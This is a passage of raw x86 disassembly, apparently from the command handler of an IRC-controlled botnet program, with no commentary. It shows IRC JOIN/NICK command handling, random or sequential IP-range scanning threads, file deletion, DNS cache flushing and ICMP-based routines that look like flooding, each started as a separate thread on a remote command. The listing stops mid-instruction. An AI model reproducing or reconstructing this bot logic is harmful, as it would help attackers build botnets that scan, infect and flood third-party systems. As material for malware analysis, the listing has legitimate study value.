cmp [ebp+var_6B5], bl jnz short loc_40BF62 mov [ebp+var_F0], ebx jmp loc_40C027 ; --------------------------------------------------------------------------- loc_40BF62: ; CODE XREF: sub_40997B+25D2j ; sub_40997B+25DAj or eax, 0FFFFFFFFh mov [ebp+arg_C], eax mov [ebp+arg_4], eax mov [ebp+arg_0], eax mov [ebp+arg_18], eax lea eax, [ebp+arg_18] push eax lea eax, [ebp+arg_0] push eax lea eax, [ebp+arg_4] push eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_230] push offset dword_41E35C push eax call sub_40F871 add esp, 18h call sub_410198 mov [ebp+arg_24], eax fild [ebp+arg_24] fmul dbl_41A2C0 fmul dbl_41A2B8 call sub_40EF84 mov [ebp+arg_4], eax mov [ebp+arg_0], ebx shl eax, 8 add eax, [ebp+arg_C] mov [ebp+arg_18], ebx push eax call dword_4273A0 ; inet_ntoa push eax lea eax, [ebp+var_230] push offset dword_41FB7C push eax call sub_40EE10 add esp, 0Ch cmp [ebp+var_6B5], bl mov [ebp+var_F0], ebx jz short loc_40C027 lea eax, [ebp+var_230] push 30h push eax call sub_410A60 pop ecx mov byte ptr [ebp+arg_24+3], bl pop ecx loc_40BFFD: ; CODE XREF: sub_40997B+26A0j cmp eax, ebx jz short loc_40C01D mov byte ptr [eax], 78h lea eax, [ebp+var_230] push 30h push eax call sub_410A60 inc byte ptr [ebp+arg_24+3] pop ecx cmp byte ptr [ebp+arg_24+3], 2 pop ecx jl short loc_40BFFD loc_40C01D: ; CODE XREF: sub_40997B+24C3j ; sub_40997B+24E5j ... mov [ebp+var_F0], 1 loc_40C027: ; CODE XREF: sub_40997B+23FAj ; sub_40997B+24A8j ... mov eax, [ebp+var_4] push [ebp+var_90] mov [ebp+var_F8], eax mov eax, [ebp+var_8] mov [ebp+var_F4], eax lea eax, [ebp+var_220] push 80h push eax mov [ebp+var_120], edi call sub_40E7AB mov esi, [ebp+esi+var_80] add esp, 0Ch cmp esi, ebx jz short loc_40C078 loc_40C061: ; CODE XREF: sub_40997B+2720j push esi loc_40C062: ; CODE XREF: sub_40997B+270Aj lea eax, [ebp+var_1A0] push 80h push eax call sub_40E7AB add esp, 0Ch jmp short loc_40C0A3 ; --------------------------------------------------------------------------- loc_40C078: ; CODE XREF: sub_40997B+26E4j mov eax, [ebp+arg_10] cmp eax, ebx jz short loc_40C087 cmp byte ptr [eax], 23h jnz short loc_40C087 push eax jmp short loc_40C062 ; --------------------------------------------------------------------------- loc_40C087: ; CODE XREF: sub_40997B+2702j ; sub_40997B+2707j mov esi, offset aF ; "#f" push offset byte_424EF4 push esi call sub_40FB80 pop ecx test eax, eax pop ecx jnz short loc_40C061 mov [ebp+var_1A0], bl loc_40C0A3: ; CODE XREF: sub_40997B+26FBj cmp [ebp+var_F0], ebx mov eax, offset aRandom ; "Random" jnz short loc_40C0B5 mov eax, offset aSequential ; "Sequential" loc_40C0B5: ; CODE XREF: sub_40997B+2733j push [ebp+var_104] lea ecx, [ebp+var_230] push [ebp+var_114] push [ebp+var_118] push [ebp+var_11C] push ecx push eax lea eax, [ebp+var_578] push offset dword_420F3C push eax call sub_40EE10 push ebx lea eax, [ebp+var_578] push 8 push eax call sub_40E1D6 add esp, 2Ch mov [ebp+var_110], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_230] push ebx push eax push offset sub_4039C6 push ebx push ebx call dword_41A080 ; CreateThread mov ecx, [ebp+var_110] imul ecx, 234h cmp eax, ebx mov dword_42D2EC[ecx], eax jz short loc_40C143 loc_40C12D: ; CODE XREF: sub_40997B+27C6j cmp [ebp+var_EC], ebx jnz loc_40B17D push 32h call dword_41A060 ; Sleep jmp short loc_40C12D ; --------------------------------------------------------------------------- loc_40C143: ; CODE XREF: sub_40997B+27B0j call dword_41A07C ; RtlGetLastWin32Error push eax push offset dword_420EF8 jmp loc_40B16E ; --------------------------------------------------------------------------- loc_40C154: ; CODE XREF: sub_40997B+21F2j ; sub_40997B+2209j cmp [ebp+var_C], ebx jz loc_40DAA2 push [ebp+arg_10] push [ebp+var_C] call sub_4102A0 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_40DAA2 push esi push offset dword_420EEC push edi call sub_408486 add esp, 0Ch push esi push offset dword_420EC0 jmp loc_40DA9B ; --------------------------------------------------------------------------- loc_40C18E: ; CODE XREF: sub_40997B+21C4j ; sub_40997B+21DBj push [ebp+var_94] push offset a332 ; "332" call sub_40FB80 pop ecx test eax, eax pop ecx jz loc_409D24 push [ebp+arg_0] push offset dword_420EB4 push edi call sub_408486 push [ebp+arg_10] call sub_40FB66 imul eax, 3E8h add esp, 10h push eax call dword_41A060 ; Sleep push [ebp+esi+var_8C] push [ebp+arg_0] push offset aJoinSS ; "JOIN %s %s\r\n" push edi call sub_408486 push offset dword_420E98 call sub_407A4E loc_40C1ED: ; CODE XREF: sub_40997B+156Ej add esp, 14h jmp loc_40DAA2 ; --------------------------------------------------------------------------- loc_40C1F5: ; CODE XREF: sub_40997B+2196j ; sub_40997B+21ADj cmp [ebp+var_C], ebx jz loc_40DAA2 push [ebp+arg_10] call sub_40E730 push [ebp+arg_4] mov esi, eax call sub_40E730 add eax, [ebp+var_C] push [ebp+arg_0] lea eax, [eax+esi+2] push eax call sub_4102A0 mov esi, eax add esp, 10h cmp esi, ebx jz loc_40DAA2 push esi lea eax, [ebp+var_578] push offset dword_420E8C push eax call sub_40EE10 push ebx lea eax, [ebp+var_578] push ebx push eax push [ebp+arg_10] push edi call sub_4084CC add esp, 20h push esi push [ebp+arg_10] push offset dword_420E60 loc_40C25D: ; CODE XREF: sub_40997B+293Fj call sub_407AC2 loc_40C262: ; CODE XREF: sub_40997B+3F8Dj add esp, 0Ch jmp loc_40DAA2 ; --------------------------------------------------------------------------- loc_40C26A: ; CODE XREF: sub_40997B+2168j ; sub_40997B+217Fj cmp [ebp+var_C], ebx jz loc_40DAA2 push [ebp+arg_10] call sub_40E730 push [ebp+arg_4] mov esi, eax call sub_40E730 add eax, [ebp+var_C] push [ebp+arg_0] lea eax, [eax+esi+2] push eax call sub_4102A0 mov esi, eax add esp, 10h cmp esi, ebx jz loc_40DAA2 push ebx push ebx push esi push [ebp+arg_10] push edi call sub_4084CC add esp, 14h push esi push [ebp+arg_10] push offset dword_420E34 jmp short loc_40C25D ; --------------------------------------------------------------------------- loc_40C2BC: ; CODE XREF: sub_40997B+2128j ; sub_40997B+213Fj push [ebp+arg_10] push [ebp+arg_1C] call sub_4102A0 pop ecx test eax, eax pop ecx jz loc_40DAA2 mov esi, [ebp+esi+var_90] cmp esi, ebx jz loc_40C364 push esi push [ebp+var_C] call sub_4102A0 mov esi, eax pop ecx cmp esi, ebx pop ecx jz short loc_40C34C push esi lea eax, [ebp+var_578] push [ebp+var_90] push [ebp+var_94] push [ebp+var_98] push offset dword_420E24 push eax call sub_40EE10 lea eax, [ebp+var_578] push 1FFh push eax push [ebp+arg_0] call sub_410090 add esp, 24h lea eax, [ebp+var_578] push esi push [ebp+arg_10] push offset dword_420DE8 push eax call sub_40EE10 add esp, 10h inc [ebp+arg_24] jmp loc_40D773 ; --------------------------------------------------------------------------- loc_40C34C: ; CODE XREF: sub_40997B+2974j lea eax, [ebp+var_578] push offset unk_420DB0 push eax call sub_40EE10 pop ecx pop ecx jmp loc_40D773 ; --------------------------------------------------------------------------- loc_40C364: ; CODE XREF: sub_40997B+295Fj push ebx lea eax, [ebp+var_578] push [ebp+var_4] push edi push [ebp+arg_1C] push eax call sub_40574C add esp, 0Ch push eax push [ebp+var_90] push edi call sub_4084CC add esp, 14h lea eax, [ebp+var_578] push [ebp+arg_10] push offset dword_420D88 push 200h push eax call sub_40E7AB add esp, 10h jmp loc_40D773 ; --------------------------------------------------------------------------- loc_40C3AC: ; CODE XREF: sub_40997B+20FAj ; sub_40997B+2111j cmp [ebp+var_C], ebx jz loc_40DAA2 push [ebp+arg_10] push [ebp+var_C] call sub_4102A0 pop ecx cmp eax, ebx pop ecx jz loc_40DAA2 push eax call sub_404B9A test eax, eax pop ecx jnz short loc_40C3DF push offset unk_420D60 jmp loc_40B67A ; --------------------------------------------------------------------------- loc_40C3DF: ; CODE XREF: sub_40997B+2A58j push offset dword_420D3C jmp loc_40B67A ; --------------------------------------------------------------------------- loc_40C3E9: ; CODE XREF: sub_40997B+20CCj ; sub_40997B+20E3j push [ebp+arg_10] call dword_41A0F8 ; DeleteFileA push [ebp+arg_10] test eax, eax jz short loc_40C400 push offset dword_420D10 jmp short loc_40C40C ; --------------------------------------------------------------------------- loc_40C400: ; CODE XREF: sub_40997B+2A7Cj push offset dword_420CE4 call sub_404B10 pop ecx push eax loc_40C40C: ; CODE XREF: sub_40997B+2A83j lea eax, [ebp+var_578] push 200h push eax call sub_40E7AB add esp, 10h loc_40C420: ; CODE XREF: sub_40997B+3FC3j cmp [ebp+var_8], ebx jnz short loc_40C43F push ebx lea eax, [ebp+var_578] push [ebp+var_4] push eax push [ebp+var_90] push edi call sub_4084CC add esp, 14h loc_40C43F: ; CODE XREF: sub_40997B+2AA8j ; sub_40997B+3EF6j mov esi, [ebp+arg_24] loc_40C442: ; CODE XREF: sub_40997B+2B13j ; sub_40997B+2B2Fj ... lea eax, [ebp+var_578] push eax call sub_407A4E pop ecx mov eax, esi jmp loc_409D27 ; --------------------------------------------------------------------------- loc_40C456: ; CODE XREF: sub_40997B+209Ej ; sub_40997B+20B5j push [ebp+arg_10] call sub_40FB66 push eax call sub_40DE07 pop ecx pop ecx push 1 pop esi push [ebp+arg_10] cmp eax, esi jnz short loc_40C477 push offset dword_420CB0 jmp short loc_40C47C ; --------------------------------------------------------------------------- loc_40C477: ; CODE XREF: sub_40997B+2AF3j push offset dword_420C70 loc_40C47C: ; CODE XREF: sub_40997B+2AFAj ; sub_40997B+3EADj lea eax, [ebp+var_578] push eax call sub_40EE10 add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_40C442 push ebx lea eax, [ebp+var_578] push [ebp+var_4] push eax push [ebp+var_90] push edi call sub_4084CC add esp, 14h jmp short loc_40C442 ; --------------------------------------------------------------------------- loc_40C4AC: ; CODE XREF: sub_40997B+2070j ; sub_40997B+2087j push ebx push ebx push [ebp+arg_10] push [ebp+var_4] push ebx push edi call sub_40DB61 add esp, 18h cmp eax, 1 push [ebp+arg_10] jnz short loc_40C4D0 push offset dword_420C40 jmp loc_40D92F ; --------------------------------------------------------------------------- loc_40C4D0: ; CODE XREF: sub_40997B+2B49j push offset dword_420C04 jmp loc_40D92F ; --------------------------------------------------------------------------- loc_40C4DA: ; CODE XREF: sub_40997B+2042j ; sub_40997B+2059j push 7Fh push [ebp+arg_10] push [ebp+arg_14] call sub_410090 add esp, 0Ch push [ebp+arg_10] push offset dword_420BD0 jmp loc_40DA05 ; --------------------------------------------------------------------------- loc_40C4F7: ; CODE XREF: sub_40997B+2014j ; sub_40997B+202Bj push [ebp+arg_10] push offset dword_420BCC call sub_40FB80 pop ecx test eax, eax pop ecx jnz short loc_40C528 call sub_40E39F cmp eax, ebx jle short loc_40C51E push eax push offset dword_420B94 jmp loc_40B16E ; --------------------------------------------------------------------------- loc_40C51E: ; CODE XREF: sub_40997B+2B96j push offset unk_420B60 jmp loc_40D3DE ; --------------------------------------------------------------------------- loc_40C528: ; CODE XREF: sub_40997B+2B8Dj mov eax, [ebp+var_AC] inc eax cmp eax, 20h mov [ebp+arg_8], eax jnb loc_409D24 lea eax, [ebp+eax*4+var_98] mov [ebp+arg_24], eax loc_40C545: ; CODE XREF: sub_40997B+2C3Cj mov eax, [ebp+arg_24] mov esi, [eax] cmp esi, ebx jz loc_409D24 push esi call sub_40FB66 push eax call sub_40E311 pop ecx pop ecx test eax, eax push esi jz short loc_40C56C push offset dword_420B2C jmp short loc_40C571 ; --------------------------------------------------------------------------- loc_40C56C: ; CODE XREF: sub_40997B+2BE8j push offset dword_420AF0 loc_40C571: ; CODE XREF: sub_40997B+2BEFj lea eax, [ebp+var_578] push eax call sub_40EE10 add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_40C59F push ebx lea eax, [ebp+var_578] push [ebp+var_4] push eax push [ebp+var_90] push edi call sub_4084CC add esp, 14h loc_40C59F: ; CODE XREF: sub_40997B+2C08j lea eax, [ebp+var_578] push eax call sub_407A4E inc [ebp+arg_8] add [ebp+arg_24], 4 cmp [ebp+arg_8], 20h pop ecx jb short loc_40C545 jmp loc_409D24 ; --------------------------------------------------------------------------- loc_40C5BE: ; CODE XREF: sub_40997B+1FE6j ; sub_40997B+1FFDj cmp [ebp+var_C], ebx jz loc_40DAA2 push [ebp+arg_10] push [ebp+var_C] call sub_4102A0 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_40DAA2 push esi push offset dword_420AE8 push edi call sub_408486 add esp, 0Ch push esi push offset dword_420AC0 jmp loc_40DA9B ; --------------------------------------------------------------------------- loc_40C5F8: ; CODE XREF: sub_40997B+1FB8j ; sub_40997B+1FCFj push [ebp+arg_10] push offset dword_420EB4 push edi call sub_408486 add esp, 0Ch push [ebp+arg_10] push offset dword_420A8C jmp loc_40DA9B ; --------------------------------------------------------------------------- loc_40C616: ; CODE XREF: sub_40997B+1F8Aj ; sub_40997B+1FA1j push [ebp+esi+var_90] push [ebp+arg_10] push offset aJoinSS ; "JOIN %s %s\r\n" push edi call sub_408486 add esp, 10h push [ebp+arg_10] push offset dword_420A58 jmp loc_40DA9B ; --------------------------------------------------------------------------- loc_40C63B: ; CODE XREF: sub_40997B+1F5Cj ; sub_40997B+1F73j push [ebp+arg_10] push offset aNickS ; "NICK %s\r\n" push edi call sub_408486 add esp, 0Ch push [ebp+arg_10] push offset dword_420A24 jmp loc_40DA9B ; --------------------------------------------------------------------------- loc_40C659: ; CODE XREF: sub_40997B+1F17j ; sub_40997B+1F2Ej ... cmp dword_427404, ebx jnz loc_40C773 mov eax, [ebp+var_8] push 7Fh push [ebp+arg_10] mov [ebp+var_EC], eax mov eax, [ebp+var_4] mov [ebp+var_F0], eax lea eax, [ebp+var_184] push eax call sub_410090 push [ebp+esi+var_90] call sub_40FB66 push [ebp+esi+var_8C] mov [ebp+var_104], eax call sub_40FB66 push [ebp+esi+var_88] mov [ebp+var_100], eax call sub_40FB66 push 7Fh mov [ebp+var_FC], eax push [ebp+var_90] lea eax, [ebp+var_204] push eax call sub_410090 add esp, 24h lea eax, [ebp+var_184] mov [ebp+var_208], edi push [ebp+var_FC] push [ebp+var_100] push eax lea eax, [ebp+var_578] push [ebp+var_104] push offset dword_4209B8 push eax call sub_40EE10 push ebx lea eax, [ebp+var_578] push 0Eh push eax call sub_40E1D6 add esp, 24h mov [ebp+var_F4], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_208] push ebx push eax push offset sub_405CA0 push ebx push ebx call dword_41A080 ; CreateThread mov ecx, [ebp+var_F4] imul ecx, 234h cmp eax, ebx mov dword_42D2EC[ecx], eax jz short loc_40C762 loc_40C74C: ; CODE XREF: sub_40997B+2DE5j cmp [ebp+var_E8], ebx jnz loc_40DA14 push 32h call dword_41A060 ; Sleep jmp short loc_40C74C ; --------------------------------------------------------------------------- loc_40C762: ; CODE XREF: sub_40997B+2DCFj call dword_41A07C ; RtlGetLastWin32Error push eax push offset dword_42096C jmp loc_40DA05 ; --------------------------------------------------------------------------- loc_40C773: ; CODE XREF: sub_40997B+2CE4j push 1FFh lea eax, [ebp+var_578] push offset aIcmp_dllNotAva ; "ICMP.dll not available" push eax call sub_410090 jmp loc_40DA11 ; --------------------------------------------------------------------------- loc_40C78E: ; CODE XREF: sub_40997B+1ED2j ; sub_40997B+1EE9j ... mov eax, [ebp+var_8] push 7Fh push [ebp+arg_10] mov [ebp+var_EC], eax mov eax, [ebp+var_4] mov [ebp+var_F0], eax lea eax, [ebp+var_184] push eax call sub_410090 push [ebp+esi+var_90] call sub_40FB66 push [ebp+esi+var_8C] mov [ebp+var_104], eax call sub_40FB66 push [ebp+esi+var_88] mov [ebp+var_100], eax call sub_40FB66 mov esi, [ebp+esi+var_84] add esp, 18h cmp esi, ebx mov [ebp+var_FC], eax jz short loc_40C804 push esi call sub_40FB66 pop ecx mov [ebp+var_F8], eax jmp short loc_40C80A ; --------------------------------------------------------------------------- loc_40C804: ; CODE XREF: sub_40997B+2E78j mov [ebp+var_F8], ebx loc_40C80A: ; CODE XREF: sub_40997B+2E87j push 7Fh lea eax, [ebp+var_204] push [ebp+var_90] push eax call sub_410090 add esp, 0Ch lea eax, [ebp+var_184] mov [ebp+var_208], edi push [ebp+var_FC] push [ebp+var_100] push eax lea eax, [ebp+var_578] push [ebp+var_104] push offset dword_4208E8 push eax call sub_40EE10 push ebx lea eax, [ebp+var_578] push 0Fh push eax call sub_40E1D6 add esp, 24h mov [ebp+var_F4], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_208] push ebx push eax push offset sub_405E2C push ebx push ebx call dword_41A080 ; CreateThread mov ecx, [ebp+var_F4] imul ecx, 234h cmp eax, ebx mov dword_42D2EC[ecx], eax jz short loc_40C8AE loc_40C898: ; CODE XREF: sub_40997B+2F31j cmp [ebp+var_E8], ebx jnz loc_40B17D push 32h call dword_41A060 ; Sleep jmp short loc_40C898 ; --------------------------------------------------------------------------- loc_40C8AE: ; CODE XREF: sub_40997B+2F1Bj call dword_41A07C ; RtlGetLastWin32Error push eax push offset dword_4208A0 jmp loc_40B16E ; --------------------------------------------------------------------------- loc_40C8BF: ; CODE XREF: sub_40997B+1EA4j ; sub_40997B+1EBBj push edi call sub_404F3A push eax call sub_404E6A pop ecx test eax, eax pop ecx jz short loc_40C8FE push [ebp+var_90] mov esi, offset aF_1 ; "#f" push esi call dword_41A10C ; lstrcmpi test eax, eax jz short loc_40C8FE cmp [ebp+var_6C0], bl jz short loc_40C8FE push [ebp+arg_C] push esi loc_40C8F3: ; CODE XREF: sub_40997B+2281j push offset aJoinSS ; "JOIN %s %s\r\n" push edi jmp loc_409D1C ; --------------------------------------------------------------------------- loc_40C8FE: ; CODE XREF: sub_40997B+2F54j ; sub_40997B+2F6Aj ... mov al, byte_41FC12 mov edx, offset byte_41FC12 cmp al, bl jz loc_409D24 mov ecx, edx loc_40C912: ; CODE XREF: sub_40997B+2F9Cj add ecx, 0Bh cmp [ecx], bl jnz short loc_40C912 cmp al, bl jz loc_409D24 mov [ebp+arg_4], edx loc_40C924: ; CODE XREF: sub_40997B+3386j push 8 call sub_40E41E push [ebp+arg_10] mov esi, eax call sub_40FB66 add eax, esi pop ecx cmp eax, 320h pop ecx jle short loc_40C971 push esi lea eax, [ebp+var_578] push offset unk_420850 push eax call sub_40EE10 push ebx lea eax, [ebp+var_578] push [ebp+var_4] push eax push [ebp+var_90] push edi call sub_4084CC add esp, 20h jmp loc_40CCF8 ; --------------------------------------------------------------------------- loc_40C971: ; CODE XREF: sub_40997B+2FC3j push [ebp+arg_10] call sub_40FB66 or [ebp+var_100], 0FFFFFFFFh cmp dword_41E0F8, ebx pop ecx mov [ebp+var_104], eax mov [ebp+var_118], 5 mov [ebp+var_114], ebx mov [ebp+arg_24], ebx jz short loc_40C9E3 mov esi, offset dword_41E0F8 loc_40C9A7: ; CODE XREF: sub_40997B+304Aj mov eax, [ebp+arg_4] add eax, 0FFFFFFF6h push eax lea eax, [esi-28h] push eax call sub_40FB80 pop ecx test eax, eax pop ecx jz short loc_40C9C9 inc [ebp+arg_24] add esi, 38h cmp [esi], ebx jnz short loc_40C9A7 jmp short loc_40C9E3 ; --------------------------------------------------------------------------- loc_40C9C9: ; CODE XREF: sub_40997B+3040j mov eax, [ebp+arg_24] mov ecx, eax mov [ebp+var_100], eax imul ecx, 38h mov ecx, dword_41E0F8[ecx] mov [ebp+var_11C], ecx loc_40C9E3: ; CODE XREF: sub_40997B+3025j ; sub_40997B+304Cj cmp [ebp+var_11C], ebx jz loc_40BD1A cmp [ebp+var_6CB], bl jnz short loc_40CA1B cmp [ebp+var_6CA], bl jnz short loc_40CA1B cmp [ebp+var_6BA], bl jnz short loc_40CA1B cmp [ebp+var_6B3], bl jnz short loc_40CA1B cmp [ebp+var_6B5], bl jz loc_40BE8D loc_40CA1B: ; CODE XREF: sub_40997B+307Aj ; sub_40997B+3082j ... push 10h lea eax, [ebp+arg_1C] pop esi push eax lea eax, [ebp+var_D8] push eax push edi mov [ebp+arg_1C], esi call dword_4272B8 ; getsockname mov al, [ebp+var_6CB] push esi neg al sbb eax, eax and ax, 100h add eax, 0FFFFh and [ebp+var_D4], eax push [ebp+var_D4] call dword_4273A0 ; inet_ntoa push eax lea eax, [ebp+var_230] push eax call sub_410090 add esp, 0Ch cmp [ebp+var_6BA], bl jz short loc_40CAC6 xor eax, eax cmp [ebp+var_6CB], bl push 30h setnz al inc eax inc eax mov esi, eax lea eax, [ebp+var_230] push eax call sub_410A60 pop ecx cmp esi, ebx pop ecx mov byte ptr [ebp+arg_24+3], bl jle loc_40CB9C loc_40CA9B: ; CODE XREF: sub_40997B+3144j cmp eax, ebx jz loc_40CB9C mov byte ptr [eax], 78h lea eax, [ebp+var_230] push 30h push eax call sub_410A60 inc byte ptr [ebp+arg_24+3] pop ecx pop ecx movsx ecx, byte ptr [ebp+arg_24+3] cmp ecx, esi jl short loc_40CA9B jmp loc_40CB9C ; --------------------------------------------------------------------------- loc_40CAC6: ; CODE XREF: sub_40997B+30F4j cmp [ebp+var_6B3], bl jnz short loc_40CAE1 cmp [ebp+var_6B5], bl jnz short loc_40CAE1 mov [ebp+var_F0], ebx jmp loc_40CBA6 ; --------------------------------------------------------------------------- loc_40CAE1: ; CODE XREF: sub_40997B+3151j ; sub_40997B+3159j or eax, 0FFFFFFFFh mov [ebp+arg_8], eax mov [ebp+arg_0], eax mov [ebp+arg_18], eax mov [ebp+arg_C], eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+arg_18] push eax lea eax, [ebp+arg_0] push eax lea eax, [ebp+arg_8] push eax lea eax, [ebp+var_230] push offset dword_41E35C push eax call sub_40F871 add esp, 18h call sub_410198 mov [ebp+arg_24], eax fild [ebp+arg_24] fmul dbl_41A2C0 fmul dbl_41A2B8 call sub_40EF84 mov [ebp+arg_0], eax mov [ebp+arg_18], ebx shl eax, 8 add eax, [ebp+arg_8] mov [ebp+arg_C], ebx push eax call dword_4273A0 ; inet_ntoa push eax lea eax, [ebp+var_230] push offset dword_41FB7C push eax call sub_40EE10 add esp, 0Ch cmp [ebp+var_6B5], bl mov [ebp+var_F0], ebx jz short loc_40CBA6 lea eax, [ebp+var_230] push 30h push eax call sub_410A60 pop ecx mov byte ptr [ebp+arg_24+3], bl pop ecx loc_40CB7C: ; CODE XREF: sub_40997B+321Fj cmp eax, ebx jz short loc_40CB9C mov byte ptr [eax], 78h lea eax, [ebp+var_230] push 30h push eax call sub_410A60 inc byte ptr [ebp+arg_24+3] pop ecx cmp byte ptr [ebp+arg_24+3], 2 pop ecx jl short loc_40CB7C loc_40CB9C: ; CODE XREF: sub_40997B+311Aj ; sub_40997B+3122j ... mov [ebp+var_F0], 1 loc_40CBA6: ; CODE XREF: sub_40997B+3161j ; sub_40997B+31ECj mov eax, [ebp+var_4] push [ebp+var_90] mov [ebp+var_F8], eax mov eax, [ebp+var_8] mov [ebp+var_F4], eax lea eax, [ebp+var_220] push 80h push eax mov [ebp+var_120], edi call sub_40E7AB mov esi, offset aF ; "#f" push offset byte_424EF4 push esi call sub_40FB80 add esp, 14h test eax, eax jz short loc_40CC03 push esi lea eax, [ebp+var_1A0] push 80h push eax call sub_40E7AB add esp, 0Ch jmp short loc_40CC09 ; --------------------------------------------------------------------------- loc_40CC03: ; CODE XREF: sub_40997B+326Fj mov [ebp+var_1A0], bl loc_40CC09: ; CODE XREF: sub_40997B+3286j cmp [ebp+var_F0], ebx mov eax, offset aRandom ; "Random" jnz short loc_40CC1B mov eax, offset aSequential ; "Sequential" loc_40CC1B: ; CODE XREF: sub_40997B+3299j push [ebp+var_104] lea ecx, [ebp+var_230] push [ebp+var_114] push [ebp+var_118] push [ebp+var_11C] push ecx push eax lea eax, [ebp+var_578] push offset dword_4207C4 push eax call sub_40EE10 push ebx lea eax, [ebp+var_578] push 8 push eax call sub_40E1D6 add esp, 2Ch mov [ebp+var_110], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_230] push ebx push eax push offset sub_4039C6 push ebx push ebx call dword_41A080 ; CreateThread mov ecx, [ebp+var_110] imul ecx, 234h cmp eax, ebx mov dword_42D2EC[ecx], eax jz short loc_40CCA5 loc_40CC93: ; CODE XREF: sub_40997B+3328j cmp [ebp+var_EC], ebx jnz short loc_40CCC0 push 32h call dword_41A060 ; Sleep jmp short loc_40CC93 ; --------------------------------------------------------------------------- loc_40CCA5: ; CODE XREF: sub_40997B+3316j call dword_41A07C ; RtlGetLastWin32Error push eax lea eax, [ebp+var_578] push offset dword_42077C push eax call sub_40EE10 add esp, 0Ch loc_40CCC0: ; CODE XREF: sub_40997B+331Ej cmp [ebp+var_8], ebx jnz short loc_40CCDF push ebx lea eax, [ebp+var_578] push [ebp+var_4] push eax push [ebp+var_90] push edi call sub_4084CC add esp, 14h loc_40CCDF: ; CODE XREF: sub_40997B+3348j lea eax, [ebp+var_578] push eax call sub_407A4E mov [esp+0E60h+var_E60], 3E8h call dword_41A060 ; Sleep loc_40CCF8: ; CODE XREF: sub_40997B+2FF1j add [ebp+arg_4], 0Bh mov eax, [ebp+arg_4] cmp [eax], bl jnz loc_40C924 jmp loc_409D24 ; --------------------------------------------------------------------------- loc_40CD0C: ; CODE XREF: sub_40997B+1A9Ej ; sub_40997B+1AB5j mov esi, [ebp+esi+var_94] cmp esi, ebx jz short loc_40CD1F push esi call sub_40FB66 jmp short loc_40CD26 ; --------------------------------------------------------------------------- loc_40CD1F: ; CODE XREF: sub_40997B+339Aj push 8 call sub_40E43D loc_40CD26: ; CODE XREF: sub_40997B+33A2j cmp eax, ebx pop ecx jz loc_40DAA2 push eax push [ebp+var_4] push [ebp+var_90] push edi call sub_403430 loc_40CD3F: ; CODE XREF: sub_40997B+3D11j add esp, 10h jmp loc_40DAA2 ; --------------------------------------------------------------------------- loc_40CD47: ; CODE XREF: sub_40997B+1A70j ; sub_40997B+1A87j mov eax, dword_42723C cmp eax, ebx jz short loc_40CD78 call eax ; DnsFlushResolverCache test eax, eax jz short loc_40CD5D push offset unk_420750 jmp short loc_40CD62 ; --------------------------------------------------------------------------- loc_40CD5D: ; CODE XREF: sub_40997B+33D9j push offset unk_42071C loc_40CD62: ; CODE XREF: sub_40997B+33E0j ; sub_40997B+3402j lea eax, [ebp+var_578] push 200h push eax call sub_40E7AB jmp loc_40D93B ; --------------------------------------------------------------------------- loc_40CD78: ; CODE XREF: sub_40997B+33D3j push offset unk_4206E8 jmp short loc_40CD62 ; --------------------------------------------------------------------------- loc_40CD7F: ; CODE XREF: sub_40997B+19ABj ; sub_40997B+19C2j or [ebp+arg_4], 0FFFFFFFFh call dword_41A090 ; GetTickCount xor edx, edx mov ecx, 3E8h div ecx mov esi, [ebp+esi+var_94] cmp esi, ebx mov [ebp+arg_0], eax jz short loc_40CDAA push esi call sub_40FB66 pop ecx mov [ebp+arg_4], eax loc_40CDAA: ; CODE XREF: sub_40997B+3423j mov eax, [ebp+arg_0] xor edx, edx mov ecx, 15180h div ecx cmp eax, [ebp+arg_4] jnb short loc_40CDC5 cmp [ebp+arg_4], 0FFFFFFFFh jnz loc_40DAA2 loc_40CDC5: ; CODE XREF: sub_40997B+343Ej push ebx call sub_4053E4 pop ecx push eax lea eax, [ebp+var_578] push offset dword_4206C4 push eax call sub_40EE10 push ebx lea eax, [ebp+var_578] push [ebp+var_4] push eax push [ebp+var_90] push edi call sub_4084CC lea eax, [ebp+var_578] push eax call sub_407A4E add esp, 24h jmp loc_40DAA2 ; --------------------------------------------------------------------------- loc_40CE09: ; CODE XREF: sub_40997B+197Dj ; sub_40997B+1994j mov eax, [ebp+esi+var_94] push 7Fh mov [ebp+arg_10], eax push eax lea eax, [ebp+var_2F4] push eax call sub_410090 mov eax, [ebp+esi+var_90] push 7Fh mov [ebp+arg_0], eax push eax lea eax, [ebp+var_274] push eax call sub_410090 mov esi, [ebp+esi+var_8C] push 7Fh lea eax, [ebp+var_1F4] push esi push eax call sub_410090 push 7Fh lea eax, [ebp+var_174] push [ebp+var_90] push eax call sub_410090 mov eax, [ebp+var_4] add esp, 30h mov [ebp+var_F0], eax mov eax, [ebp+var_8] push esi mov [ebp+var_EC], eax push [ebp+arg_0] lea eax, [ebp+var_578] mov [ebp+var_2F8], edi push [ebp+arg_10] push offset dword_42066C push eax call sub_40EE10 push ebx lea eax, [ebp+var_578] push 13h push eax call sub_40E1D6 add esp, 20h mov [ebp+var_F4], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2F8] push ebx push eax push offset sub_4073B3 push ebx push ebx call dword_41A080 ; CreateThread mov ecx, [ebp+var_F4] imul ecx, 234h cmp eax, ebx mov dword_42D2EC[ecx], eax jz short loc_40CEF5 loc_40CEDF: ; CODE XREF: sub_40997B+3578j cmp [ebp+var_E8], ebx jnz loc_40B17D push 32h call dword_41A060 ; Sleep jmp short loc_40CEDF ; --------------------------------------------------------------------------- loc_40CEF5: ; CODE XREF: sub_40997B+3562j call dword_41A07C ; RtlGetLastWin32Error push eax push offset dword_420628 jmp loc_40B16E ; --------------------------------------------------------------------------- loc_40CF06: ; CODE XREF: sub_40997B+183Bj ; sub_40997B+1852j mov eax, [ebp+esi+var_94] push 7Fh mov [ebp+arg_10], eax push eax lea eax, [ebp+var_2F4] push eax call sub_410090 mov eax, [ebp+esi+var_90] push 7Fh mov [ebp+arg_0], eax push eax lea eax, [ebp+var_274] push eax call sub_410090 mov esi, [ebp+esi+var_8C] push 7Fh lea eax, 